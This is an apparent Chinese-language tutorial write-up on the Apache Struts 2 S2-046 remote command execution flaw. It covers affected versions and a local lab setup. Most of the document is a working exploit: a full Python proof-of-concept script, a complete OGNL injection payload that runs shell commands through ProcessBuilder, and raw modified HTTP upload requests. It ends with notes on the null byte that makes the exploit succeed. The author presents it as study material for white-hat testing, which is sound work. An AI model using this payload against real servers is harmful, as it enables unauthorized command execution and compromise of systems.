Struts-S2-046
此文仅供大家交流学习,严禁非法使用
一、参考网址:(视频):
https://www.ichunqiu.com/course/57861
找一个好的教程不容易,找一个好的POC也不容易,Cry
教程网址:https://xianzhi.aliyun.com/forum/read/1414.html
二、 影响版本:
Struts 2.3.5 – Struts 2.3.31 Struts 2.5 –Struts 2.5.10
三、 漏洞介绍:
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-046。在使用基于Jakarta插件的文件上传功能时,满足以下条件,会触发远程命令执行漏洞。
1.上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。
2.文件名内容构造恶意的OGNL内容。
本次S2-046漏洞远程命令执行漏洞需满足以上条件,而S2-045的漏洞只需要Content-Type一个点就可以进行远程命令执行。
对于已经修复S2-045漏洞的用户(升级Struts版本为Struts 2.3.31、Struts 2.5.10)不受此漏洞影响。
四、 环境搭建:
下载/struts/2.3.24
下载地址:http://archive.apache.org/dist/struts/2.3.24/
百度云链接:链接:http://pan.baidu.com/s/1dFeUyNv 密码:279t
下载安装xampp
部署showcase
- 解压
- 复制到
重启tomcat
- 已成功自动部署
五、 POC:
#!/usr/bin/env python
# encoding:utf-8
import requests
import urllib
import httplib
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
class Sugarcrm():
def poctest(self):
proxies = {
"http": "http://127.0.0.1:9090",
}
boundary="---------------------------735323031399963166993862150"
paylaod="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
url = 'http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action'
headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"
r=requests.post(url, headers=headers,data=data,proxies=proxies)
print r._content
#print requests.Response().content()
#print requests.Response()
if __name__ == '__main__':
test = Sugarcrm()
test.poctest()
六、 脚本运行结果
Burp做修改步骤为
七、 测试数据包:
原数据包为
POST
/struts2-showcase/fileupload/doUpload.action;jsessionid=95275F7205B8095E487A0160E61E9483
HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 279
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarydqJWJav8muwL3UTC
Referer:
http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie:
JSESSIONID=95275F7205B8095E487A0160E61E9483
Connection: close
------WebKitFormBoundarydqJWJav8muwL3UTC
Content-Disposition: form-data;
name="upload"; filename="2.txt"
Content-Type: text/plain
asd
------WebKitFormBoundarydqJWJav8muwL3UTC
Content-Disposition: form-data;
name="caption"
1
------WebKitFormBoundarydqJWJav8muwL3UTC--
修改后为
POST
/struts2-showcase/fileupload/doUpload.action;jsessionid=95275F7205B8095E487A0160E61E9483
HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1089
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarydqJWJav8muwL3UTC
Referer:
http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie:
JSESSIONID=95275F7205B8095E487A0160E61E9483
Connection: close
------WebKitFormBoundarydqJWJav8muwL3UTC
Content-Disposition:
form-data; name="upload";
filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami**').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}**这里注意了**
Content-Type: text/plain
asd
------WebKitFormBoundarydqJWJav8muwL3UTC
Content-Disposition: form-data;
name="caption"
1
------WebKitFormBoundarydqJWJav8muwL3UTC—
八、 发现关键部分:
注意上面,那是不可复制内容
注意到少了三个字符
后两个字符可以理解,这个方块是怎么回事那?而且经过测试,这个方块至关重要。复制一到方块就停止,且发现并不是因为编码不合适才引起的,具体看一下十六进制表(是就是网上视频教程,文档教程的poc粘贴在burp中修改但不能成功的真正原因,
这是十六进制表,发现方块没了。。。
再自习看,}和b之前,也就是7d和62之间是00,发现问题了,这个00就是之
前显示的方块
再回头看网上教程,讲到filename存在空字节情况,这下知道空字节什么意思了。
但是,还有一个疑问,简单的python的post请求为什么会制造出空字节,而且不管是data还是python也没有故意制造空字节和b。这个问题待以后解决。
九、 至此,该漏洞基本利用完毕
本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家
坚决做一名白帽子